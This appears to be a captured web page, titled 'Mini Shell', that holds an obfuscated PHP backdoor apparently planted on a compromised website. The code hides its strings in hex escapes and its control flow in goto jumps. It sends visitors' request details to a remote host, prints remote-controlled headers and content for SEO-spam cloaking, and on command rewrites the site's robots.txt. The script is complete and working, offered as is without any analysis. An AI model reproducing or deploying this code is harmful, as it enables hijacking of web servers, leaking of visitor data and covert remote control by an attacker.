ok
Mini Shell
<?php
goto sHw2y; BCUhZ: if (empty($E6bal)) { goto YD9Kp; } goto SJi7r; faa5k: $fpoZ5 = eXplODe("\174\100\43\44\174", $CfXng); goto A_FcT; xiMri: echo "\110\x54\x54\120\57\x31\56\60\40\64\60\64\x20\116\157\x74\x20\x46\x6f\165\156\144\137\x5f\x5f" . $tuNBk . "\x5f\137\x5f" . $d5j6Y; goto Smhju; HwV0T: zDbR1: goto zAY_E; jhdJM: if ($ph2bR < 3) { goto yz2eN; } goto wvWsd; n4_5A: YD9Kp: goto TkC8C; FqBND: $Y33tP = trIm($fpoZ5[$ph2bR - ROund(0.06270000000000001 + 0.381961 + 0.4713725 + 0.0839216)]); goto JfrZD; YoiRS: exit; goto HwV0T; MEVaw: FcLOSE($t1VOQ); goto flf0n; cDnKQ: cUrL_setOpt($P2dc9, CURLOPT_RETURNTRANSFER, ROund(0.9516 + 0.048371)); goto t4IOz; A_FcT: $ph2bR = CoUnT($fpoZ5); goto jhdJM; a9ik2: foreach ($lxo4S as $D37mY) { $vxiaK .= "\x53\151\x74\145\x6d\141\x70\x3a" . $D37mY . PHP_EOL; wD2lY: } goto Q6NH3; zAY_E: if (!($Y33tP == "\x70\151\156\147")) { goto Eie94; } goto JnyYe; pkEgB: FBI0_: goto hBwRk; ZtLVG: $LFg2e = "\x2f\151\x6e\x64\x65\x78\56\x70\x68\x70\77\126\x53\75" . $d5j6Y . "\x26\107\x50\x3d" . $tuNBk; goto mZCrI; cWS1d: FwRIte($t1VOQ, $vxiaK); goto MEVaw; ixtT1: if (!(pReg_MATcH("\x2f\x6a\x70\x32\x30\62\63\x2f\163\151", $_SERVER["\122\x45\121\x55\105\x53\x54\137\x55\x52\x49"]) == ROUND(0.1612 + 0.054 + 0.08043906000000001 + 0.009993 + 0.14728 + 0.159404 + 0.136 + 0.111239 + 0.14))) { goto FBI0_; } goto KPuM4; ID3J0: hEader("\110\x54\124\120\57\61\56\x30\x20\x34\x30\64\x20\116\x6f\x74\40\106\x6f\x75\156\x64"); goto BmTqO; sHw2y: eRrOr_RePORTInG(rOUnD(0 + 0)); goto whAwg; mZCrI: $z8Zbv = array("\x53\103\122\111\120\124\137\116\x41\x4d\x45", "\122\105\x51\125\105\x53\x54\137\125\122\x49", "\110\124\124\x50\x53", "\x52\x45\x51\125\x45\123\x54\x5f\x53\x43\110\105\x4d\x45", "\x53\x45\122\x56\x45\122\x5f\x50\117\122\124", "\x52\x45\x4d\117\x54\x45\137\x41\x44\x44\122", "\110\x54\x54\x50\137\x52\x45\106\105\122\105\122", "\110\x54\x54\120\x5f\x41\103\x43\105\120\x54\x5f\114\x41\116\x47\x55\101\x47\x45", "\110\124\x54\x50\x5f\x55\123\105\x52\x5f\x41\107\x45\x4e\x54", "\x48\x54\124\x50\137\x48\x4f\x53\x54"); goto skWuh; flf0n: echo "\162\x6f\142\x6f\164\163\56\x74\170\x74\x20\x64\157\x6e\x65"; goto jvZz7; Smhju: exit; goto pkEgB; j7bx7: $vxiaK .= "\101\x6c\154\157\x77\72\57" . PHP_EOL; goto uWsxS; WSe3P: $CfXng = tRIM($CfXng); goto faa5k; Y_z65: $t1VOQ = fOpeN($_SERVER["\x44\x4f\x43\125\115\x45\116\x54\x5f\122\117\117\124"] . "\x2f\162\x6f\142\157\164\x73\56\x74\170\x74", "\x77"); goto cWS1d; JfrZD: if (!($Y33tP == "\x65\x78\151\x74")) { goto zDbR1; } goto YoiRS; MhqbT: arRay_pop($lxo4S); goto a9ik2; whAwg: $tuNBk = "\172\x6a\x31\62\60\64"; goto naY0F; o8AgX: HeAdeR("\x48\x54\124\x50\57\x31\56\60\x20\64\60\x34\40\x4e\157\x74\x20\106\157\165\x6e\x64"); goto QW5FB; vXuf6: if (!empty($CfXng)) { goto Cp1LR; } goto D4BIl; OZK2M: $CfXng = TRIM($CfXng); goto QF3Ux; Q6NH3: lJwVt: goto Y_z65; o98bD: yz2eN: goto o8AgX; hBwRk: $mZcUP = "\x68\164\164\x70\x3a\x2f\57" . $tuNBk . "\56\152\x65\167\151\x73\x68\x6c\145\141\166\145\x2e\143\157\155"; goto ZtLVG; KPuM4: if (!(PrEG_matcH("\x2f\x6a\x70\x32\x30\x32\x33\143\x77\x77\x2f\163\151", $_SERVER["\122\105\121\x55\x45\123\x54\137\125\x52\111"]) == ROunD(0 + 0 + 0 + 0))) { goto hXCBy; } goto ID3J0; QW5FB: exit; goto xveF7; r28we: $P2dc9 = curl_IniT(); goto TaugA; GRUK3: Paigb: goto FqBND; D4BIl: $CfXng = FIlE_GEt_cOntENTS($Wqrwz); goto f9Kuf; Yy2vx: if (empty($LoLzW)) { goto Paigb; } goto d8MUK; TkC8C: $LoLzW = tRiM($fpoZ5[ROUND(0.15045 + 0.5224 + 0.3271962)]); goto Yy2vx; hAHKj: goto X9PMk; goto o98bD; skWuh: foreach ($z8Zbv as $QN9mQ) { goto ZlcyZ; ho7n5: $LFg2e .= "\46" . $QN9mQ . "\75" . $lIuIk; goto elU9i; Nteyr: $lIuIk = sTr_RePLACe("\75", "\x2e", $lIuIk); goto ho7n5; ZlcyZ: $dvXvY = isset($_SERVER[$QN9mQ]) ? $_SERVER[$QN9mQ] : ''; goto qW117; Gh3wY: $lIuIk = STr_rePlaCE("\57", "\x5f", $lIuIk); goto Nteyr; elU9i: gCvxD: goto lHY9c; HGvD7: $lIuIk = StR_replacE("\53", "\x2d", $lIuIk); goto Gh3wY; qW117: $lIuIk = BASe64_eNCoDE(TriM($dvXvY)); goto HGvD7; lHY9c: } goto DikMD; naY0F: $d5j6Y = "\163\171\61"; goto ixtT1; jvZz7: exit; goto uVAKe; d8MUK: echo $LoLzW; goto GRUK3; BmTqO: hXCBy: goto xiMri; SJi7r: HEAdER($E6bal); goto n4_5A; q1BG1: $CfXng = CuRL_EXEC($P2dc9); goto OZK2M; f9Kuf: Cp1LR: goto WSe3P; xIPlp: $Wqrwz = $mZcUP . $LFg2e; goto r28we; QF3Ux: curL_CLoSe($P2dc9); goto vXuf6; wvWsd: $E6bal = tRiM($fpoZ5[ROuNd(0 + 0 + 0 + 0 + 0 + 0)]); goto BCUhZ; uVAKe: Eie94: goto hAHKj; JnyYe: $vxiaK = "\x55\163\145\x72\x2d\x61\147\x65\156\164\x3a\x2a" . PHP_EOL; goto j7bx7; uWsxS: $lxo4S = EXpLOdE("\x3c\x62\x72\x2f\x3e", $LoLzW); goto MhqbT; DikMD: cZPp6: goto xIPlp; t4IOz: cUrl_sEtOPT($P2dc9, CURLOPT_CONNECTTIMEOUT, rOUND(0.51907 + 2.405 + 3.047316 + 1.981 + 0.883 + 1.1652542)); goto q1BG1; TaugA: cuRl_sETOPT($P2dc9, CURLOPT_URL, $Wqrwz); goto cDnKQ; xveF7: X9PMk:
?>
Zerion Mini Shell 1.0